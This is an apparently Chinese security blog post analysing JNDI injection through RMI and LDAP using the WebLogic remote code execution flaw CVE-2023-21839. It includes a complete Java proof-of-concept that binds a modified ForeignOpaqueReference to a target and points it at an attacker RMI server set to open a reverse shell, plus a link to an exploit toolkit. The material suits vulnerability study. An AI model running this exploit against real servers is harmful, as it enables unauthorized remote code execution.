通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构(CORBA)

透过Weblogic漏洞深入理解


该漏洞为:Weblogic未授权远程代码执行漏洞(
CVE-2023-21839
)


下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
    漏洞可以概括为:因为weblogic支持t3和iiop协议绑定远程对象,然后绑定的远程对象是ForeignOpaqueReferent的话,客户端通过jndi查询的时候,服务端其实是调用了远程对象的getRefernet函数进行实例化,然后在这个函数里面进行了lookup查找,查找的是remoteJNDIName,这个就是漏洞点,我们可以通过反射机制修改这个remoteJNDIName,也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是:RMI/LDAP远程对象引用安全限制存在差异)

参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓
里面有写一段,解决了我的对两个协议的疑惑
:↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制,本地的
    java.rmi.server.useCodebaseOnly
    配置如果为true(
    禁止引用远程对象
    ),为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到
    com.sun.jndi.rmi.object.trustURLCodebase
    配置限制,如果该值为false(
    不信任远程引用对象
    ),一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121
    开始,
    java.rmi.server.useCodebaseOnly
    默认值改为了
    true
  • JDK6u132、JDK7u122、JDK8u113
    开始
    com.sun.jndi.rmi.object.trustURLCodebase
    默认值改为了
    false

    本地测试远程对象引用可以使用
    如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在
    JDK6u211、7u201、8u191、11.0.1
    后将
    com.sun.jndi.ldap.object.trustURLCodebase
    的默认设置为了false。(
    但不受java.rmi.server.useCodebaseOnly影响

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。


  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。
    分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端


    • 允许绑定对象这一点很重要,既然允许绑定对象,那么我们就需要找一个能够触发lookup且变量可控的类去绑定,这样我们才能够实现JNDI注入攻击。
  • 巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是
    remoteJNDIName
    (
    可通过反射机制控制
    )。
    这里又发现一篇文章写得不错,我参考了一二:
    https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓


    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象
      ,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

    通过lookup查询该恶意对象
    :这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。
    注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章:
https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:

  1. jndiEnvironment不为空,就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName,
所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入

在这里插入图片描述
以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ,然后设置好值后,远程绑定ForeignOpaqueReference对象,然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象,
    这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
    (我已大彻大悟,不知道友悟到没。)
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(
从下JNDI_Test的函类开始往上看
)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲
getObjectFactoryFromReference
就是最终的
罪魁祸首

其他调用过程就不讲了,有感兴趣可以看参考文章:
https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);
    尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);
    从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的,在参考文章中也有告诉我就是:URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}


至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。


JNDI+LDAP

同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~